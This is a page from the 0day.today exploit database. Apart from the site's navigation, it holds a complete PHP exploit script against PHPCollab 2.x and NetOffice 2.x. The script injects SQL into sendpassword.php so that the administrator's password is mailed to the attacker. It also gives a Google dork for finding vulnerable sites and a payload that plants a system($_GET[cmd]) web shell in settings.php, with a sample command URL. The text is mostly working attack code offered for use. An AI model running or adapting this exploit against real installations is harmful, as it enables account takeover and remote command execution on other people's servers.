0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
PHPCollab 2.x / NetOffice 2.x (sendpassword.php) SQL Injection Exploit
====================================================================== PHPCollab 2.x / NetOffice 2.x (sendpassword.php) SQL Injection Exploit ====================================================================== #!/usr/bin/php -q -d short_open_tag=on <? echo "PHPCollab v2.x / NetOffice v2.x sendpassword.php SQL Injection \r\n"; echo "by rgod rgod@autistici.org\r\n"; echo "site: http://retrogod.altervista.org\r\n\r\n"; echo "-> works with magic_quotes_gpc = Off\r\n\r\n"; echo "a googledork: intitle:phpcollab|netoffice \"index of\" -www-apps -php-collab.org -ext:xml\r\n\r\n"; if ($argc<4) { echo "Usage: php ".$argv[0]." host path email OPTIONS\r\n"; echo "host: target server (ip/hostname)\r\n"; echo "path: path to NetOffice or PHPCollab\r\n"; echo "email: your email\r\n"; echo "Options:\r\n"; echo " -p[port]: specify a port other than 80\r\n"; echo " -P[ip:port]: specify a proxy\r\n"; echo "Examples:\r\n"; echo "php ".$argv[0]." localhost /NetOffice/ youremail@somehost.com\n"; echo "php ".$argv[0]." localhost /PhpCollab/ youremail@somehost.com -p81\r\n"; echo "php ".$argv[0]." localhost / youremail@somehost.com -P1.1.1.1:80\r\n"; die; } /* explaination: tested & working against: PhpCollab v2.4 PhpCollab v2.5 rc3 NetOffice v2.5.3-pl1 NetOffice v2.6.0b2 vulnerability; SQL injection in "forgotten password" feature: if magic_quotes_gpc=Off you can send yourself the admin (md5(), crypt() or plain text) password, poc: you can submit a "loginForm" POST value like this to general/sendpassword.php script : 'UNION SELECT id,1,CONCAT('this is the real password (encrypted with md5(), crypt() or in plain text): ',password),password,name,title,'[your email here]' ,null,'','','','',null,1,'2006-03-27 20:48',0,'administration/admin.php','','' ,null FROM members mem WHERE id=1/* query becomes: SELECT mem.*, org.name, log.connected FROM members mem LEFT OUTER JOIN organizations org ON org.id = mem.organization LEFT OUTER JOIN logs log ON log.login = mem.login WHERE mem.login = ''UNION SELECT id,1,CONCAT('this is the real password (encrypted with md5(),crypt() or in plain text): ',password ),password,name,title,'[your email]',null,'','','','',null,1,'2006-03-27 20: 48',0,'administration/admin.php','','',null FROM members mem WHERE id=1/*' you will receive soon a mail like this: Username : this is the real password (encrypted with md5(),crypt() or in plain text): [password] password : [random generated password] ignore password field, password is not changed, 'cause the UPDATE query fails, but the real one is showed in Username mail field. once you are admin, you can inject arbitrary code in settings.php (you know, magic_quotes_gpc is off), poc: login, go to "Edit settings" feature, in FTP SERVER field type: '); system($_GET[cmd]); print (' in settings.php, near line 38, you have: ... define('FTPSERVER',''); system($_GET[cmd]); print (''); ... so you can launch commands, ex: http://[target]/[path]/general/login.php?cmd=ls%20-la */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug echo "\r\n".$html; } $host=$argv[1]; $path=$argv[2]; $your_email=""; $port=80; $proxy=""; for ($i=3; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$your_email.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if ($proxy<>'') {$p="http://".$host.":".$port.$path;} else {$p=$path;} $sql ="'UNION SELECT id,1,CONCAT('this is the real password (encrypted with md5()"; $sql.=",crypt() or in plain text): ',password),password,name,title,'".$your_email; $sql.="',null,'','','','',null,1,'2006-03-27 20:48',0,'administration/admin.php',"; $sql.="'','',null FROM members mem WHERE id=1/*"; $sql=urlencode($sql); $data="loginForm=".$sql; $packet ="POST ".$p."general/sendpassword.php?action=send HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; #debug echo quick_dump($packet); sendpacketii($packet); echo "Now check your mailbox..."; ?> # 0day.today [2024-07-07] #